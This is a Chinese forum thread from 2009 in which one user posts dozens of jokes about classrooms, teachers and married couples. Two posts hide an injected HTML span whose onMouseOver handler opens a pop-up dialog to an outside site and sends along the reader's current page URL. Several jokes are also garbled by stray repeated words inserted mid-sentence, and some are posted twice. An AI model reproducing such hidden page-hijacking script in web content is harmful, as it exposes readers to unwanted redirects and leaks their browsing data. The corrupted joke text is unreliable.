【Song】歌者公会强势进驻龙腾世界IS：999 群55145521 - 艾游官方论坛

刻骨 - 2009/12/14 20:06:00

某中麻将学有一班麻将主任教师麻将，工作兢兢业业，此君唯好打麻将，周五与几好友激战。周六学生因故补课，麻将班老师请假。此君到班临时上课，走上讲台猛一看黑板未擦大怒：“今天谁做庄？”

刻骨 - 2009/12/14 20:07:00

老师对同学们说：“你们每人每天要做一件好事。” 第二天，老师问道：“胡桑格，你昨天做了一件什么好事？” “我搀扶了一个老奶奶过马路。” “好孩子！范利东，你呢？” “我帮助胡桑格，搀一个老奶奶过马路。” “这也很好。马努且尔，你呢？” “老师，我帮助胡桑格和范利东，搀一个老奶奶过马路。” “真奇怪！难道你们三个人，是搀同一个老奶奶过马路吗？” “这没啥奇怪！”胡桑格大声报告，“那个老奶奶不需要过马路，我们费了好大劲儿，才把她搀扶过去。”

刻骨 - 2009/12/14 20:08:00

老师被子发现一个被子学生不能用德语来解释希伯来语的“羽被子”一词，便试着启发他。 “你家里有被子吗？”老师问。 “当然有！” “被子里有什么东西？” “臭虫！”学生兴奋地回答。

刻骨 - 2009/12/14 20:08:00

一同学在老师提问时踊跃地举起了手，老师就叫她站起来回答问题。她答一半后，发现自己的思路错了，答不下去了，就吞吞吐吐起来。在这紧要关头，一张纸条飞到了她的面前，她似乎感觉到，终于有英雄救美了。她眼睛向纸条一瞟，上面写道：“你死定了!”

刻骨 - 2009/12/14 20:09:00

在我读小学的时候，有一次上公开课，老师问我们一个问题：“各位同学，有谁知道长度的单位是什么啊？”这时候，班上最最乖巧的一个同学举手要求回答，这是课前老师安排好的，当然就的他回答啦。 “老师，是米！” “不错不错，请坐下。” “可是，有谁还知道有什么呢？”这时候，平时学习最最落后的同学也举手，老师有点激动，虽然没有事先安排他，可是老师觉得不应该有歧视，决定给他一个机会。 “老师，还有菜！”

刻骨 - 2009/12/14 20:10:00

五年级课堂上，老师正给学生讲解“冰冻三尺非一日之寒”的道理， 老师问：冰冻三尺非一日之寒的道理，大家懂了吗？ 一学生举手道：老师，提个问题可以吗？ 老师：讲。 学生：与冰冻三尺有关的什么问题都可以吗？ 老师：可以。 学生：冰冻三尺非一日之寒，哪冰冻几尺是一日之寒呢？ 老师：。。。。。。

刻骨 - 2009/12/14 20:10:00

老师：“皮埃尔，回答老师的问题：实物世纪西班牙共发生过几次战争？” 学生：“六次，先生。” 老师：“哪六次？” 学生：“第一次，第二次，第三次，第四次，第五次，第六次。”

刻骨 - 2009/12/14 20:11:00

骑马减肥
一个肥胖的贵妇人，听从了医生的劝告，准备减肥。她让丈夫
给她买上一匹好马，打算每天骑上一个小时，丈夫替她办好了这件
事。
一个月过后，一天，贵妇人骑马归来，正好遇见办事回来的丈
夫，丈夫朝她望了望说：“下降了20公斤！”
“噢，真的吗！”贵妇人高兴地叫了起来。
“对，”丈夫说道，“我指的是咱们的马。”

刻骨 - 2009/12/14 20:12:00

一个英语功课很差英语的学生在英语毕业前夕英语对他的英文老师说：“谢谢您，老师。我非常感谢您。我虽然毕业了，但您永远是我的老师，如果您要我做什么事情，千万别客气。” “好吧，请替我做件事。”老师说，“你千万不要告诉别人我曾教过你英语。”

刻骨 - 2009/12/14 20:12:00

近鬼亲
妻子鬼：“我嫁鬼给魔鬼也比鬼嫁给你强！”
丈夫：“那根本不可能！你们是不能近亲结婚的。”
我是谁
妻子给丈夫打电话，存心换了一种声音。她说：“你猜猜！
我是谁？”
丈夫一听，立即兴奋起来，说：“我的好乖乖，你是珍珠舞
厅的小婷吧？”
妻子大怒，声音恢复到原本腔调：“你说谁？小婷？”
丈夫一惊，也换了声调：“你猜！我是谁？”

刻骨 - 2009/12/14 20:13:00

为了班会显得庄重，老师让班长检查：穿背心和短裤的同学不得入内。 班会前，老师问：“我叫你办的事办好了吗？” 班长说：“还没有，无论是男同学还是女同学都不愿意把衣服脱了让我看！”

刻骨 - 2009/12/14 20:14:00

英文老师口音极重，开学点名，有一同学名胡林庆，只听他在讲台上狂吠“狐狸精，狐狸精来了没有？。”叫了半天没人答应，又念另一同学名。这次这位叫文逸乜（nie)，英文老师汉语太差，当乜是也，又喊“我爷爷，我爷爷在不在？” 一次语文老师病假休息，由他代课，拿着课本对我们讲：“豆腐的这首诗与豆腐的xx诗有一起胡邹之**”（杜牧的这首诗与杜甫的xx诗有异曲同工之妙）。

刻骨 - 2009/12/14 20:14:00

某<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=学学校校 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">学学校校风气开放，男女经常在学校操场上接吻，于是学校召开会议制止接吻，某班主任回到教师对学生们说： ”经研究决定，我和校长决定不在操场上接吻了“ 底下穿来一阵笑声。老师意识到自己说错了。就补充道： ”我和校长决定不在我们的鼻子底下有接吻的事情发生了/“ 底下一阵大笑/

刻骨 - 2009/12/14 20:15:00

生物课上，生物老师指着挂在黑板上的一幅鲸鱼骨骼图问学生：“大家说这是什么？” 坐在最后一排的大梁高声回答：“鱼刺！”

刻骨 - 2009/12/14 20:16:00

五年级课堂上，老师正给学生讲解“冰冻三尺非一日之寒”的道理， 老师问：冰冻三尺非一日之寒的道理，大家懂了吗？ 一学生举手道：老师，提个问题可以吗？ 老师：讲。 学生：与冰冻三尺有关的什么问题都可以吗？ 老师：可以。 学生：冰冻三尺非一日之寒，哪冰冻几尺是一日之寒呢？ 老师：。。。。。。

刻骨 - 2009/12/14 20:16:00

文革时代，学校开批判大会，对象系右派的女儿赵老师。开了一会张主任觉得不过瘾，便将和自己有矛盾的王老师叫上台问：“你和她——右派的女儿有什么关系？快交代！”“我和她没有关系。”张主任灵机一动：“没有关系？那——你是男的，她是女的，你们就是男女关系。”

刻骨 - 2009/12/14 20:17:00

一同面学在老师面提问时踊面跃地举起了手，老师就叫她站起来回答问题。她答一半后，发现自己的思路错了，答不下去了，就吞吞吐吐起来。在这紧要关头，一张纸条飞到了她的面前，她似乎感觉到终于有英雄救美了。她眼睛向纸条一瞟，上面写道：“你死定了!”

刻骨 - 2009/12/14 20:18:00

在我读小学的时候，有一次上公开课，老师问我们一个问题：“各位同学，有谁知道长度的单位是什么啊？”这时候，班上最最乖巧的一个同学举手要求回答，这是课前老师安排好的，当然就的他回答啦。 “老师，是米！” “不错不错，请坐下。” “可是，有谁还知道有什么呢？”这时候，平时学习最最落后的同学也举手，老师有点激动，虽然没有事先安排他，可是老师觉得不应该有歧视，决定给他一个机会。 “老师，还有菜！”

刻骨 - 2009/12/14 20:18:00

1、高中向往大学，大学怀念高中； 2、高中目标是满分，大学目标是及格； 3、高中老师朝你要家里电话（以便请个家长什么的），大学你朝老师要家里电话（嘿嘿嘿，目的大家心照吧）； 4、高中天天鸡鸭鱼肉仍然消瘦，大学顿顿清汤白水难挡发福； 5、高中总嫌没有好电视，大学放假回家抱着电视不撒手； 6、高中**从不往卫生间晾因为怕老爸看到，大学隔三差五挥舞一条十分艳丽的内在怒吼：“谁的谁的？？干了还不收！！” 7、高中异性恋爱是新闻，大学同性恋爱是新闻； 8、高中奇怪为什么那么多人上了大学还自杀，大学奇怪为什么那么多人上了大学还活着；

刻骨 - 2009/12/14 20:19:00

老师：“‘猫’英语怎么说？” 学生（异口同声）：“Modem！”

刻骨 - 2009/12/14 20:20:00

春耕学校时节快到学校了，<span id="x726" onMouseOver="window.showModalDialog(' http://www.1635.cn/?w=学学校校 &'+top.window.location.href,window,'dialogWidth=1024px;dialogHeight =600px;');">学校组织高中学生去农村帮助农民向田里送肥料。学生中的小霸王王某因为身强体壮，被分配拉架子车运送肥料，其余学生装车或卸车晚饭后劳动总结时，老师问：“王同学，今天你做了什么？”王同学答道：“拉学校粪。”这时，旁边一个声音小声说道：“早就知道他不拉人屎。”

刻骨 - 2009/12/14 20:20:00

右手食指
一个妇女乘车时被夹断了右手食指，她要起诉，向汽车公司索赔100
万元。
律师对她说：“一只手指恐怕不能索赔那么多。”
妇女咆哮道：“为什么？我那只手指是用来指挥我丈夫的呀。”

刻骨 - 2009/12/14 20:21:00

家长会上，家长问老师：“我这小孩在带表现如何？” 　　老师说：“他的脑筋容量有１０GB，动起脑来速度不输PentiumII，但上课不太专心，Cache太小，刚教到后带，五分钟前的东西就忘了。有一条RAM接触不良，因此有时一教就马上了解，有时讲了好一会儿还想不通。此外他的‘浮点运算’功能有缺陷，不知是不是出生时少装一个CPU，最好带他去补习带，建立一些‘关连’，否则功课跟不上。音效卡设定不良，常常该出声时不讲话，要安静时才发出一堆杂音。另外带装置的时间设定过短，老师才一分钟没动作，他就进入睡眠状态了。除此之外就没重大缺点了。”

刻骨 - 2009/12/14 20:22:00

教室里正在讲解软盘的使用方法。 　　老师：“软盘必须首先放在驱动器中才能使用。从软盘袋中取出软盘后，要正面朝上，用手握住有标签的一端，把软盘插进驱动器中，然后顺时针扭动驱动器外面的手柄，关上驱动器的门，只有完成这些步骤，才能使用软盘……下面我们大家一起做。取出软盘……正面朝上……握住有标签的一端……放进驱动器中……关上门……” 　　坐在前面的一个学生突然站起身来，走到教室门口，轻轻地把教室门关上。

刻骨 - 2009/12/14 20:22:00

有一个老师，他让他的学生去抬桌子，可他的学生却说：“我不能去。”“为什么？”“因为我的个子太矮，抬不动，这样就把我压到地里区了啊，你说是不是啊？老师。”

刻骨 - 2009/12/14 20:23:00

老师：“我的孩子。你的朗读没有一点进步，这是怎么回事呢？ 我在你这个年龄。已经朗读得十分流利了。” 学生：“毫无疑问。这是因为您的老师比我的老师好。”

刻骨 - 2009/12/14 20:24:00

语文课上，老师给学生们讲了一个成语；“罗马不是在一个白天就能建成的。”历史课上，老师向学生们提问；“罗马帝国是什么时候建立起来的？”“夜里！”

刻骨 - 2009/12/14 20:24:00

丈夫
丈夫是这么一种人，结婚前，女人期待他；结婚后，女人怀疑他；死后，女人开始尊敬他。

刻骨 - 2009/12/14 20:24:00

我班同学的作文由于受到琼瑶小说的影响，写的人物形象过于高洁，脱离了现实。于是老师让我们回家后写一篇作文〈〈我的妈妈〉〉要求做到俗雅共赏。 只见我的同桌这样写到：我的妈妈穿着一件雪莲般的白纱裙，如云一般飘进厨房，用她的纤纤玉手捉着一把老菜刀，用力刮着凉土豆皮。。。。。。

刻骨 - 2009/12/14 20:25:00

妻子雇了个油印工回家将卧室油刷一新。到下班前活儿还未干完。
丈夫晚上回家，不知道油印未干，开电灯时把手印留在装电灯开关的墙壁上。
 翌日，油印工来继续工作，妻子对油印工说：“请你到卧室来，我要你看看昨晚我丈夫摸过的地方。”
 油漆工尴尬地说：“不不，太太，我的处世之道是洁身自爱。”